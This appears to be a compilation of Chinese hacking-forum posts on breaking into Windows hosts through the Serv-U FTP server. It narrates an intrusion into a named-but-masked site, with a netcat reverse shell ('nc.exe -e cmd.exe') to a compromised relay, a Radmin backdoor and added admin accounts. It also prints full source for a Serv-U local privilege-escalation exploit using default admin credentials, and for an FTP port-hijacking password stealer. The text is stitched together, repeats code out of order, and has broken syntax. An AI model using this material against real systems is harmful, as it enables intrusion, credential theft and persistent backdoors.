printf("Fail To Bind Port\n");
return FALSE;
}
// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
closesocket(ListenSocket);
return FALSE;
}
return TRUE;
}// End Of CreateSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Check The Parameters And Start To Hijack
// Return Type: BOOLEAN
// Parameters:
// In: const char *Port --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket()) // Init Socket
{
printf("Fail To Init Socket\n");
return FALSE;
}
if (!IsDigits(Port)) // Check Whether It's Invalid Port
{
printf("Invalid Listen Port\n");
return FALSE;
}
UINT ListenPort = atoi(Port); // Get The Port
if (ListenPort <= 0
ListenPort > 65535)
{
printf("The Listen Port Is Out Of Bound\n");
return FALSE;
}
if (!CreateSocket(IPToBind,ListenPort)) // Create A TCP Listening Socket
{
printf("Fail To Create Socket\n");/> return FALSE;
}
return HandleFTPRequest();
}// End Of StartHijack()
// No Need To Comment
BOOL InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
return (WSAStartup(ver, &data) == 0);
}// End Of InitSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Send Buffer Through Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
}// End Of SendSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Send FTP Banner To The Client
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendFTPBanner(const SOCKET ClientSocket)
{
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n";
return SendSocket(ClientSocket,SendWelcomeInfo);
}// End Of SendFTPBanner()
//--------------------------------------------------------------------------------------------
// Purpose: To Receive Buffer From Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
// In: const int nSize --> The SocketBuffer's Size
// Out: char *SocketBuffer --> Buffer To Receive Data
//--------------------------------------------------------------------------------------------
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize)
{
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0);
}// End Of ReceiveSocketBuffer()
//--------------------------------------------------------------------------------------------
// Purpose: To Check Whether A String Only Contains Digits
// Return Type: BOOLEAN
// Parameters:
// In: const char *String --> The String To Be Checked
//--------------------------------------------------------------------------------------------
BOOL IsDigits(const char *String)
{
UINT i = 0;
UINT StringLength = strlen(String);
for (i = 0;i < StringLength;i++)
{
if (String < 48
String > 57)
{
return FALSE;
}
}
return TRUE;
}// End Of IsDigits()
//--------------------------------------------------------------------------------------------
// Purpose: To Save Information Into A File
// Return Type: BOOLEAN
// Parameters:
// In: const char *FileName --> File To Store Information
// In: const char *Info --> Information To Be Stored Into File
//--------------------------------------------------------------------------------------------
BOOL SaveInfo(const char *FileName,const char *Info)
{
HANDLE hFile = NULL;
DWORD dwBytes = 0 ;
BOOL Flag = FALSE;
// Open A File For Writing
hFile = CreateFile(FileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) // Fail To Open That File,Something Must Be Wrong
{
return FALSE;
}
SetFilePointer(hFile,0,NULL,FILE_END); // Set The File Pointer To The File End
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL); // Write Information Into That File
CloseHandle(hFile); // Close File Handle
return Flag; // Return The WriteFile Status
}// End Of SaveInfo()
//--------------------------------------------------------------------------------------------
// Purpose: To Remove An Ending Enter From A String
// Return Type: BOOLEAN
// Parameters:
// In: char *String --> String To Be Modified
//--------------------------------------------------------------------------------------------
BOOL DeleteEnter(char *String)
{
UINT Length = strlen(String);
if (String[Length - 2] == '\r'
String[Length - 2] == '\n')
{
String[Length - 2] = '';
}
else
{
if (String[Length - 1] == '\r'
String[Length - 1] == '\n')
{
String[Length - 1] = '';
}
}
return TRUE;
}// End Of DeleteEnter()
//--------------------------------------------------------------------------------------------
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters: NONE
//--------------------------------------------------------------------------------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;
while(TRUE)
{
SOCKADDR_IN client;
int nSize = sizeof(client);
AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);
if (AcceptSocket == INVALID_SOCKET) // Something Is Wrong About The Socket
{
break; // Get To Leave
}
CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket)); // Allocate For Socket Ram
if (CloneSocket == NULL) // Not Enough Ram,Very Rare Situation
{
closesocket(AcceptSocket); // Close That Connection
continue;
}
*CloneSocket = AcceptSocket; // Make A Copy Of Accpet Socket
HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID); // Create A Thread
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()
//--------------------------------------------------------------------------------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Connector's Socket
//--------------------------------------------------------------------------------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password.\r\n";
char Buffer[MAX_PATH];
memset(Buffer,0,sizeof(Buffer));
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive UserName
{
return FALSE;
}
if (strnicmp(Buffer,"USER", 4) == 0) // We Get The UserName, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n");
SaveInfo(LogFile,Buffer);
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
if (!SendSocket(ClientSocket,UserOK)) // Fail To Send Information
{
return FALSE;
}
memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive Password
{
return FALSE;
}
if (strnicmp(Buffer,"PASS", 4) == 0) // We Get The Password, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n\r\n");
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()
//--------------------------------------------------------------------------------------------
// Purpose: To Handle The Connector's Request
// Return Type: DWORD
// Parameters:
// In: LPVOID Para --> The Connector's Socket
//--------------------------------------------------------------------------------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para); // Retrieve The Socket
free(Para); // Free The Allocated Ram
if (!SendFTPBanner(ClientSocket)) // Fail To Send FTP Banner
{
closesocket(ClientSocket); // Close The Connection
return 1;
}
RetrieveFTPUserAndPass(ClientSocket); // Get The Connector's UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.\r\n"); // Cheat The Connector By Sending This
closesocket(ClientSocket); // Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File
?>
如何绕过防火墙提升权限
作者:rain ,xr 来源:www.918x.com 加入时间:2004-10-13 阅读次数:14461
本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。
废话少说,咱们进入正题。
首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。
测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。
思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。
传上了srv.exe和nc.exe在H:\long\sun***\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D:\Documents and Settings\All Users\是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。
可以浏览D:\program files\serv-u\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。
不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\,运行 srv.exe “nc.exe –e cmd.exe 202.*.*.* 888”,这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。
我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)
高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\long\sun***\lemon,再用刚才nc得到的shell把它们copy到d:\winnt\system32\下,分别运行:r_server /install , net start r_server , r_server /pass:rain /save 。
一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\program files\serv-u\里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)
不管了,我们重启serv-u就ok了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\program files\serv-u\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。
好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:
ftp>quote site exec net user xr rain /add
在webshell上运行net user,就可以看见添加成功了。
整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。
作者: 千與千尋 时间: 2005-1-16 04:43 标题: SEVR-U入侵全教程
Serv-U v6.0 本地权限提升漏洞
受影响系统:
Serv-U FTP Server 6.0\\
以及6。0以下版本
描述:
--------------------------------------------------------------------------------
Serv-u 是一款很出名的Ftp Server软件,Serv-U FTP Server V6.0 已经发布,经过测试发现
该版本已之前版本一样都存在这个问题。漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建
域和用户来执行命令,版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,
默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
aT4r ins4n3 (at4r@ciberdreams.com)提供了如下测试方法:
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date: 10/2003
* Author: Andrés Tarascó Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0
G:\exploit\serv-U\local>whoami
INSANE\aT4r
G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
******************************************************
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
******************************************************
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER haxorcitos
<331 User name okay, need password.
******************************************************
>PASS whitex0r
<230 User logged in, proceed.
******************************************************
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
******************************************************
G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/
#include
#include
#include
#include
#include
//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands
#define XPLUSER "USER haxorcitos\r\n"
#define XPLPASSWORD "PASS whitex0r\r\n"
#define USER "USER LocalAdministrator\r\n"
#define PASSWORD "PASS #l@$ak#.lk;0@P\r\n"
#define MAINTENANCE "SITE MAINTENANCE\r\n"
#define EXIT "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
"-TZOEnable=0\r\n"
" TZOKey=\r\n";
/* "-DynDNSEnable=0\r\n"
" DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
"-IP=0.0.0.0\r\n"
" PortNo=2121\r\n";
char newuser[] =
"-SETUSERSETUP\r\n"
"-IP=0.0.0.0\r\n"
"-PortNo=2121\r\n"
"-User=haxorcitos\r\n"
"-Password=whitex0r\r\n"
"-HomeDir=c:\\\r\n"
"-LoginMesFile=\r\n"
"-Disable=0\r\n"
"-RelPaths=1\r\n"
"-NeedSecure=0\r\n"
"-HideHidden=0\r\n"
"-AlwaysAllowLogin=0\r\n"
"-ChangePassword=0\r\n"
"-QuotaEnable=0\r\n"
"-MaxUsersLoginPerIP=-1\r\n"
"-SpeedLimitUp=0\r\n"
"-SpeedLimitDown=0\r\n"
"-MaxNrUsers=-1\r\n"
"-IdleTimeOut=600\r\n"
"-SessionTimeOut=-1\r\n"
"-Expire=0\r\n"
"-RatioUp=1\r\n"
"-RatioDown=1\r\n"
"-RatiosCredit=0\r\n"
"-QuotaCurrent=0\r\n"
"-QuotaMaximum=0\r\n"
"-Maintenance=None\r\n"
"-PasswordType=Regular\r\n"
"-Ratios=None\r\n"
" Access=c:\\|RELP\r\n";
#define localport 43958
#define localip "127.0.0.1"
char cadena[1024];
int rec,domain;
/******************************************************************************/
void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
if (rec<=0) return;
if (showResponses) printf("<%s",cadena);
if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
WSADATA ws;
int sock,sock2;
struct sockaddr_in haxorcitos;
struct sockaddr_in xpl;
printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
if (argc<2) {
printf("USAGE: ServuLocal.exe \"command\"\r\n");
printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
return(0);
}
if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
printf(" [-] WSAStartup() error\n");
exit(0);
}
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_port = htons(localport);
haxorcitos.sin_addr.s_addr = inet_addr(localip);
sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
printf("<%s",cadena);
ParseCommands(sock,USER,1,1,USEROK);
ParseCommands(sock,PASSWORD,1,1,PASSOK);
ParseCommands(sock,MAINTENANCE,1,0,"230 ");
printf("[+] Creating New Domain...\r\n");
ParseCommands(sock,newdomain,0,1,BANNER);
printf("[+] Domain Haxorcitos:%i Created\n",domain);
/* Only for v5.x
printf("[+] Setting New Domain Online\r\n");
sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
ParseCommands(sock,cadena,0,1,BANNER);
*/
printf("[+] Creating Evil User\r\n");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);
printf("[+] Now Exploiting...\r\n");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %s\r\n",argv[1]);
sprintf(cadena,"site exec %s\r\n",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);
return 0;
}
//---------------------------------------------------------------------------
具体使用方法~~
和以前的ftp.exe一样
上传一个 serv-u上去
cmd执行
例如我们的位置在d:\wwwroot\serv-u.exe
我在在cmd执行: d:\wwwroot\serv-u.exe "net user laolang$ 123456/add"
下面我也不说了具体怎么做仿照前面的ASP木马到控制 3389
作者: 千與千尋 时间: 2005-1-16 04:53 标题: SEVR-U入侵全教程
利用ftp服务程序本身设计的"缺陷"取得最高权限
利用ftp服务程序本身设计的"缺陷"取得最高权限 一台虚拟主机,NTFS文件系统,主机主要运行的服务为IIS和Serv-U.已经通过允许上传asp文件并执行那些as文件的问题得到了一般的user权限.由于管理员对目录的设置比较安全,只有C盘的根目录具有写权限,其它目录都只有读的权限.由于配置的安全性,用自己的后门程序替换掉服务启动的程序那一招已经不灵了,向Serv-U的配置文件加入一个有执行权限的帐户这一招也行不通了.入侵的那位朋友已经试过多种方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有没有方法解决.
(这位朋友一天除了吃饭和睡觉外,就在对着电脑到处找新漏洞入侵系统,经常有些稀奇古怪的系统给我看)
解决方案是从serv-u那里想办法,因为那位朋友也试过好几种方法了,那些方法
1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,管理员看根目录时就会执行autorun.inf里定义的程序)
2.上传后门到硬盘根目录,改名为explorer.exe(很久的东西,windows搜索文件时是先从根目录先搜起的,如果在根目录先搜到,就执行那个文件.如果系统还存在这问题,如果管理员双击"我的电脑",就会执行了根目录下的那个后门的explorer.exe)
3.还有其它他想到的古怪方法都试过了,一样是没办法得到最高权限
系统应该已经打上最新的补丁了,用多个扫描器扫描iis也没有发现到什么漏洞,而且基本就是iis和serv-u这两个服务可利用,iis是没办法的了,只有从serv-u中下手.
系统中已运行一个user权限启动的小后门,只是得到个user限的shell.进去后查看了一下系统的配置和安装了的程序等等,发现了也只能在Serv-U那里动手脚了.Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是在c:\下(通过查看serv-u的那个ini配置文件得知帐户的信息) ,如果能拿到其中一个帐号的密码,我们就具有写权限了.关键是如何得到那两个帐号的密码.
有人会想到破密码,这里最原始而且是在没有任何办法时才会试的办法,当然你不要期待有什么高的成功机会了,大家都应该Serv-u的帐号的密码是用什么算法加密的了,而且也应该知道那种加密算法用最快的破解程序,如果要穷举一个只是8位长度的密码是需要多长时间的.所以不要先想着破密码了.
要得到登陆serv-u的用户的密码,有人想到嗅探的方法,这当然是一个好方法,不过得先想想自己所处的权限(只是一般的user权限),根本不足以执行绑入网卡进行的无驱动的的嗅探程序(已测试过,证实不行的了) .
嗅探不行,突然想到shatter attack(有兴趣的朋友可以看看 http://security.tombom.co.uk/shatter.html ),但看到
了"Any application on a given desktop can send a message to any window on the same desktop"这句, 我是从命令行进去用user权限运行的一个shell,似乎没有处于任何桌面,所以应该不能将信息发到serv-u的tray monitor中去.在测试前我先发了信到serv-u的help center中询问,主要是询问serv-u的4.1版本是否可以受shatter attack所影响, 收到的回复是4.1版本不会接收以不同权限发过来的信息,serv-u的tray monitor是登陆的管理员权限执行的,而我只是user权限,这已经很清楚说明了是不可能的,而且我也从来没有研究和测试过shatter attack,
所以还是先放弃了.
想来想去都没想到什么好的方法,已经打算不想的了,但在洗澡时却突然想到serv-u打开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想到的,包括很多编程时遇到的问题有时都是在洗澡时想到解决方法的) .能够重绑端口,这样我就可以写一个程序,绑入serv-u打开的端口,那么连接到serv-u端口的验证信息就会被我的程序所得到,这样就有可能得到我所需要的帐号的用户名和密码了. 当然这个程序要"扮"得很像serv-u,例如收到连接时发送的是serv-u的正确banner,连接用户发送了用户名来时,程序也要象serv-u那样发个"331 User name okay, need password."的信息要求输出密码, 当用户输出密码后,程序就给连接者发送一个信息,大致是说连接者的IP是不允许登陆的,然后就断开连接者. 为了不被管理员察觉到问题,程序在得到那两个有用的帐号的其中一个的密码后,就会从内存中退出,这样原来的serv-u就能继续正常的工作,当然程序在退出前会将得到的帐号和密码发到我的hotmail的信箱中去.为了保险点,将帐号和密码备份写入到硬盘的一个文件中去(以防hotmail的服务有时中断无法接到邮件).
写到这里,剩下的问题就是写出那个程序了,那不算是什么困难的程序,因为各个部分的东西都曾经写过,所以写出来后测试了一下就能投入工作了.程序在那系统中运行了,我就打开了msn等着接信了.大约是半天时间左右吧,就得到了想要的帐号和密码了. 有了这个帐号,我就能登陆进那个serv-u中修改serv-u的配置,加个有执行权限的帐号,然后用这个新加的帐号就能上传任何后门或者其它东西上去那系统中运行了.到了这里,系统的最高权限已经到手了.
结语:
能够成功得到最高权限,这是由两个"缺陷"所造成的.
1.serv-u本身打开的端口允许重绑入(说是缺陷其实有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也发信到serv-u中说明了一下这问题,希望serv-u新的版本打开的端口不允许被其它程序所重绑(其实只是多加一行代码就行了)
2.user权限下也可以重绑入其它以服务身份(local system)启动的程序的端口(说是缺陷也是有点过份) .
3.其它的ftp服务程序也有可能存在这个被重绑端口后登录者的帐号和密码被窃取的问题存在,而且其它的应用程序如果端口允许被重绑的话,也存在这种问题,只是视乎传输的信息是否明文还是被强度的算法加密过而已.端口被重绑后产生的问题是存在已久的了,所以我不会说是我发现的,这个文章也只是随便举了一个由于端口被重绑后产生的严重后果的例子罢了.
后面所跟的程序代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,所以在线通知也就删除了比较好.
Codz:
//****************************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Sever's Open Port And Steal The Connector's UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC++ 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
// Communication Port To Be Re-Binded(Hijack In Other Word).
// If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work
//****************************************************************************************
#include
#include
#include
#pragma comment(lib,"wsock32.lib")
SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTION cs;
const char *LogFile = "c:\LogFile.Dat";
// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port);
BOOL IsDigits(const char *String);
BOOL InitSocket();
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL HandleFTPRequest();
BOOL SaveInfo(const char *FileName,const char *Info);
BOOL SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
int main(int argc,char *argv[])
{
if (argc != 3) // Not Enough Parameters
{
// Show The Usage And Example,Then Exit The Program
printf("Usage: %s BindedIP ListenPort\n",argv[0]);
printf("Example: %s 192.168.0.1 21\n",argv[0]);
return 0;
}
InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]); // We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}
//--------------------------------------------------------------------------------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters:
// In: char UINT ListenPort --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;
ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Create Socket
if (ListenSocket == INVALID_SOCKET) // Fail To Create Socket
{
printf("Fail To Create Socket\n");
return FALSE;
}
memset(&Client, 0, sizeof(Client));
Client.sin_family = AF_INET;
Client.sin_port = htons(ListenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);
// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
{
closesocket(ListenSocket);
printf("Fail To Hijack The Port\n");
return FALSE;
}
// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
{
closesocket(ListenSocket);
printf("Fail To Bind Port\n");
return FALSE;
}
// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
closesocket(ListenSocket);
return FALSE;
}
return TRUE;
}// End Of CreateSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Check The Parameters And Start To Hijack
// Return Type: BOOLEAN
// Parameters:
// In: const char *Port --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket()) // Init Socket
{
printf("Fail To Init Socket\n");
return FALSE;
}
if (!IsDigits(Port)) // Check Whether It's Invalid Port
{
printf("Invalid Listen Port\n");
return FALSE;
}
UINT ListenPort = atoi(Port); // Get The Port
if (ListenPort <= 0
ListenPort > 65535)
{
printf("The Listen Port Is Out Of Bound\n");
return FALSE;
}
if (!CreateSocket(IPToBind,ListenPort)) // Create A TCP Listening Socket
{
printf("Fail To Create Socket\n");/> return FALSE;
}
return HandleFTPRequest();
}// End Of StartHijack()
// No Need To Comment
BOOL InitSocket()
{
WSADATA data;
WORD ver;
ver = MAKEWORD(2,2);
return (WSAStartup(ver, &data) == 0);
}// End Of InitSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Send Buffer Through Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
}// End Of SendSocket()
//--------------------------------------------------------------------------------------------
// Purpose: To Send FTP Banner To The Client
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
